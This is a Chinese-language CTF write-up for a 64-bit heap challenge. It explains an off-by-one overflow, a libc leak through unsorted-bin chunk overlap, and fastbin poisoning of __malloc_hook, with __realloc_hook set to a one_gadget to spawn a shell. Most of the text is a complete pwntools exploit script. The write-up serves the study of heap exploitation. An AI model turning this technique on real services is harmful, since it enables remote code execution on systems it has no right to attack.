先看保护
64位,got表不可写
看ida
大致就是alloc创建堆块,fill填充堆块,free释放堆块,show输出堆块内容
这里要注意的点有以下
alloc创建堆块:这里采用的是calloc而不是malloc,calloc在创建堆块时会初始化也就是清空相应的内存空间,而malloc不会,这里使用calloc创建堆块
fill填充堆块:这里它限制了填充的字节大小不得超过堆块大小,但如果填充大小正好大于堆块10字节的话,就可以多溢出一个字节,存在off by one漏洞
完整exp:
from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./easypwn')
#p=remote('node5.buuoj.cn',27041)
def alloc(size):
p.sendlineafter(b'choice:',str(1))
p.sendlineafter(b'size:',str(size))
def fill(index,size,content):
p.sendlineafter(b'choice:',str(2))
p.sendlineafter(b'index:',str(index))
p.sendlineafter(b'size:',str(size))
p.sendafter(b'content:',content)
def free(index):
p.sendlineafter(b'choice:',str(3))
p.sendlineafter(b'index:',str(index))
def show(index):
p.sendlineafter(b'choice:',str(4))
p.sendlineafter(b'index:',str(index))
alloc(0x18)
alloc(0x10)
alloc(0x60)
alloc(0x80)
payload=p64(0)*3+p8(0x91)
fill(0,0x18+10,payload)
free(1)
alloc(0x10)
show(2)
mainarena88=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(mainarena88)
mainarena=mainarena88-88
mallochook=mainarena-0x10
libc=LibcSearcher('__malloc_hook',mallochook)
libcbase=mallochook-libc.dump('__malloc_hook')
realloc=libcbase+libc.dump('realloc')
shell=libcbase+0x4526a
alloc(0x60)
free(2)
payload=p64(mallochook-35)
fill(4,len(payload),payload)
alloc(0x60)
alloc(0x60)
payload=p64(0)+p8(0)*3+p64(shell)+p64(realloc)
fill(5,len(payload),payload)
print(hex(realloc))
alloc(1)
p.interactive()
这里我分为两部分来讲,再着重讲点细节。
第一部分(泄露libc地址):
from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./easypwn')
#p=remote('node5.buuoj.cn',27041)
def alloc(size):
p.sendlineafter(b'choice:',str(1))
p.sendlineafter(b'size:',str(size))
def fill(index,size,content):
p.sendlineafter(b'choice:',str(2))
p.sendlineafter(b'index:',str(index))
p.sendlineafter(b'size:',str(size))
p.sendafter(b'content:',content)
def free(index):
p.sendlineafter(b'choice:',str(3))
p.sendlineafter(b'index:',str(index))
def show(index):
p.sendlineafter(b'choice:',str(4))
p.sendlineafter(b'index:',str(index))
alloc(0x18)
alloc(0x10)
alloc(0x60)
alloc(0x80)
payload=p64(0)*3+p8(0x91)
fill(0,0x18+10,payload)
free(1)
alloc(0x10)
show(2)
mainarena88=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(mainarena88)
mainarena=mainarena88-88
mallochook=mainarena-0x10
首先从创建的四个堆块开始,第一个堆块选择0x18是有讲究的,因为在64位中alloc(0x10)和alloc(0x18)最终得到都是0x20大小的堆块,但0x18+1正好可以覆盖到下一堆块的size处
第二个堆块的大小存粹是因为大小没太大要求,越小当然越好操作
第三个堆块的大小是为了接下来修改第二个堆块的size完全覆盖第三个堆块时可以达到unsortedbin的大小,所以这个堆块的大小取决于第二个堆块
第四个堆块存粹是为了防止释放堆块时堆块会被top chunk合并
接下来修改第二个堆块,也就是堆块1的size,让它正好覆盖堆块1和堆块2,释放掉它,这时候再alloc(0x10)就会发现,当fastbin没有空闲堆块,但unsortedbin有时,它会根据申请的大小做出相应的反应,比如申请一个较小的,它就会切割unsortedbin里的堆块,这时一个完整的堆块2还在unsortedbin里,但我们并没有释放堆块2,也就是说堆块2的指针还在,我们依旧可以show(2)得到libc地址,这样这里就搞定了。
第二部分(getshell):
libc=LibcSearcher('__malloc_hook',mallochook)
libcbase=mallochook-libc.dump('__malloc_hook')
realloc=libcbase+libc.dump('realloc')
shell=libcbase+0x4526a
alloc(0x60)
free(2)
payload=p64(mallochook-35)
fill(4,len(payload),payload)
alloc(0x60)
alloc(0x60)
payload=p64(0)+p8(0)*3+p64(shell)+p64(realloc)
fill(5,len(payload),payload)
print(hex(realloc))
alloc(1)
p.interactive()
这里还是有很多细节要讲的
首先我们alloc(0x60)的原因主要是因为我们需要一个同时被两个指针(堆块2指针和堆块4指针)指向的堆块,这样才能进行下一步操作。
然后free(2),通过堆块4指针修改该堆块的fd,将其设置为我们想要填充内容的地址附近,这样我们连续两次alloc就可以在指定地址附近创建堆块,然后就是填充内容了。
填充内容这里要讲细一点。
这里为什么要把reallochook覆盖为onegadget而把mallochook设置为realloc呢?
因为onegadget的运行是需要条件的,当我们只把mallochook设置为onegadget时堆中相应的位置不满足onegadget的运行条件,需要调整堆栈结构,只能先运行部分的realloc来改变堆栈结构再getshell。
可以看一下这篇文章https://blog.csdn.net/qq_38154820/article/details/109040522
那篇文章的第二张图那里,执行realloc函数的流程是先进行部分的操作,也就是pop寄存器之类的操作,到了检查reallochook里的值那里才跳转,并不是一使用realloc函数就会直接调reallochook
内的函数,所以即使我们将reallochook里的值修改为onegadget,他也会先进行部分realloc的操作再运行onegadget,这样就调整了堆栈结构,使onegadget可以运行了。